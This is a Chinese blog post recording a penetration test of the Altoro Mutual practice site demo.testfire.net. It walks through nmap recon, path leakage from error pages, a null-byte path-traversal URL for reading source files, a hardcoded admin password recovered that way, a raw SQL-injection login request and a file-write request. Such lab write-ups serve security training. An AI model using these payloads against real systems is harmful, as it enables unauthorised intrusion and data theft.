demo.testfire.net 靶场测试流程记录

demo.testfire.net

信息搜集

域名

http://demo.testfire.net

IP 端口信息

 
65.61.137.117

nmap 信息

root@kali:~/security_tools/recon_tools/gwhatweb# nmap -Pn -A  65.61.137.117
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-18 02:22 EDT
Nmap scan report for 65.61.137.117
Host is up (0.60s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE      VERSION
80/tcp   open     http         Microsoft IIS httpd 8.0
| http-cookie-flags: 
|   /: 
|     amSessionId: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.0
|_http-title: Altoro Mutual
443/tcp  open     ssl/http     Microsoft IIS httpd 8.0
| http-cookie-flags: 
|   /: 
|     amSessionId: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.0
|_http-title: Altoro Mutual
| ssl-cert: Subject: commonName=demo.testfire.net
| Not valid before: 2014-07-01T09:54:37
|_Not valid after:  2019-12-22T09:54:37
|_ssl-date: 2018-08-18T07:23:19+00:00; +58m04s from scanner time.
445/tcp  filtered microsoft-ds
514/tcp  filtered shell
4444/tcp filtered krb524
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 58m03s, deviation: 0s, median: 58m03s

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   5.10 ms  192.168.245.2
2   26.32 ms 65.61.137.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.49 seconds

 
 

x
 
 
 
 
root@kali:~/security_tools/recon_tools/gwhatweb# nmap -Pn -A  65.61.137.117
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-18 02:22 EDT
Nmap scan report for 65.61.137.117
Host is up (0.60s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE      VERSION
80/tcp   open     http         Microsoft IIS httpd 8.0
| http-cookie-flags: 
|   /: 
|     amSessionId: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.0
|_http-title: Altoro Mutual
443/tcp  open     ssl/http     Microsoft IIS httpd 8.0
| http-cookie-flags: 
|   /: 
|     amSessionId: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.0
|_http-title: Altoro Mutual
| ssl-cert: Subject: commonName=demo.testfire.net
| Not valid before: 2014-07-01T09:54:37
|_Not valid after:  2019-12-22T09:54:37
|_ssl-date: 2018-08-18T07:23:19+00:00; +58m04s from scanner time.
445/tcp  filtered microsoft-ds
514/tcp  filtered shell
4444/tcp filtered krb524
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 58m03s, deviation: 0s, median: 58m03s
TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   5.10 ms  192.168.245.2
2   26.32 ms 65.61.137.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.49 seconds
 
 

中间件

 
x
 
root@kali:~/security_tools/file_scan/dirsearch# whatweb http://demo.testfire.net/
http://demo.testfire.net/ [200 OK] ASP_NET[2.0.50727], Cookies[ASP.NET_SessionId,amSessionId], Country[UNITED STATES][US], HTTPServer[Microsoft-IIS/8.0], HttpOnly[ASP.NET_SessionId], IP[65.61.137.117], Microsoft-IIS[8.0], Title[Altoro Mutual][Title element contains newline(s)!], X-Powered-By[ASP.NET]

总结

windows 服务器， asp.net (aspx) . iis8
靶机网站，域名， cdn 等信息无需搜集

漏洞挖掘

错误日志，泄露物理路径

GET 请求访问 http://demo.testfire.net/comment.aspx

 
An Error Has Occurred
Summary:
Value cannot be null.
Error Message:
System.ArgumentNullException: Value cannot be null. Parameter name: input at System.Text.RegularExpressions.Regex.IsMatch(String input) at System.Text.RegularExpressions.Regex.IsMatch(String input, String pattern) at Altoro.comment.writeToFile(String file, String name, String email_addr, String subject, String comments) in c:\downloads\AltoroMutual_v6\website\comment.aspx.cs:line 31 at Altoro.comment.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website\comment.aspx.cs:line 27 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)

疑似程序路径

 
x
 
c:\downloads\AltoroMutual_v6\website\comment.aspx.cs:line 31

登录处无验证码（ maybe 暴力破解）

 
x
 
http://www.altoromutual.com/bank/login.aspx

任意文件内容读取

查看 login.aspx 的源代码

 
x
 
http://demo.testfire.net/default.aspx?content=../bank/login.aspx.cs%00.txt

给出不存在的文件会报出目录信息

Could not find file 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'
        System.IO.FileNotFoundException: Could not find file 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'.
            File name: 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'
            at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
            at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy)
            at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options)
            at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize)
            at System.IO.StreamReader..ctor(String path)
            at System.IO.File.OpenText(String path)
            at Altoro.Default.LoadFile(String myFile) in c:\downloads\AltoroMutual_v6\website\default.aspx.cs:line 42
            at Altoro.Default.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website\default.aspx.cs:line 70
            at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)
            at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e)
            at System.Web.UI.Control.OnLoad(EventArgs e)
            at System.Web.UI.Control.LoadRecursive()
            at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)

 
 
 
 
 
 
 
Could not find file 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'
        System.IO.FileNotFoundException: Could not find file 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'.
            File name: 'C:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs,'
            at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
            at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy)
            at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options)
            at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize)
            at System.IO.StreamReader..ctor(String path)
            at System.IO.File.OpenText(String path)
            at Altoro.Default.LoadFile(String myFile) in c:\downloads\AltoroMutual_v6\website\default.aspx.cs:line 42
            at Altoro.Default.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website\default.aspx.cs:line 70
            at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)
            at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e)
            at System.Web.UI.Control.OnLoad(EventArgs e)
            at System.Web.UI.Control.LoadRecursive()
            at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
 
 

读取 /admin/login.aspx 的源码拿到管理员的密码

 
x
 
if (this.CodeNumberTextBox.Text == this.Session["CaptchaImageText"].ToString() && this.Password.Value == "Altoro1234")

SQL 注入

 
 
 
 
 
 
 
POST /bank/login.aspx HTTP/1.1
Host: demo.testfire.net
Content-Length: 45
Cache-Control: max-age=0
Origin: http://demo.testfire.net
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=dtutsf550envk5alwwnkd045; amSessionId=15719430288
Connection: close
uid=hac425%27&passw=%27%27%27&btnSubmit=Login
 
 

写文件

貌似只能写 txt , 写 aspx 访问不了

 
 

x
 
 
 
 
POST /comment.aspx HTTP/1.1
Host: www.altoromutual.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.altoromutual.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.altoromutual.com/feedback.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=pods4fz2zs5fdh55xmwwkg55; amSessionId=21554438004
Connection: close
cfile=comment.txt&name=+hac425&email_addr=11%4011.com&subject=sss&comments=kkkkkkkkkkkkkkkkkkkk&submit=+Submit+
 
 

posted @ 2018-08-18 20:59 hac425 阅读(4938) 评论(0) 编辑收藏举报

刷新页面返回顶部

hac425

博客迁移自 blog.hac425.top，部分博文由于新浪图床的限制无法显示图片。pdf 版本：https://gitee.com/hac425/data/tree/master/blog_pdf

demo.testfire.net 靶场测试流程记录

信息搜集

域名

IP 端口信息

中间件

总结

漏洞挖掘

错误日志，泄露物理路径

登录处无验证码（ maybe 暴力破解）

任意文件内容读取

SQL 注入

写文件

公告

hac425

博客迁移自 blog.hac425.top， 部分博文由于新浪图床的限制无法显示图片。pdf 版本：https://gitee.com/hac425/data/tree/master/blog_pdf

demo.testfire.net 靶场测试流程记录

信息搜集

域名

IP 端口信息

中间件

总结

漏洞挖掘

错误日志，泄露物理路径

登录处无验证码 （ maybe 暴力破解）

任意文件内容读取

SQL 注入

写文件

公告

博客迁移自 blog.hac425.top，部分博文由于新浪图床的限制无法显示图片。pdf 版本：https://gitee.com/hac425/data/tree/master/blog_pdf

登录处无验证码（ maybe 暴力破解）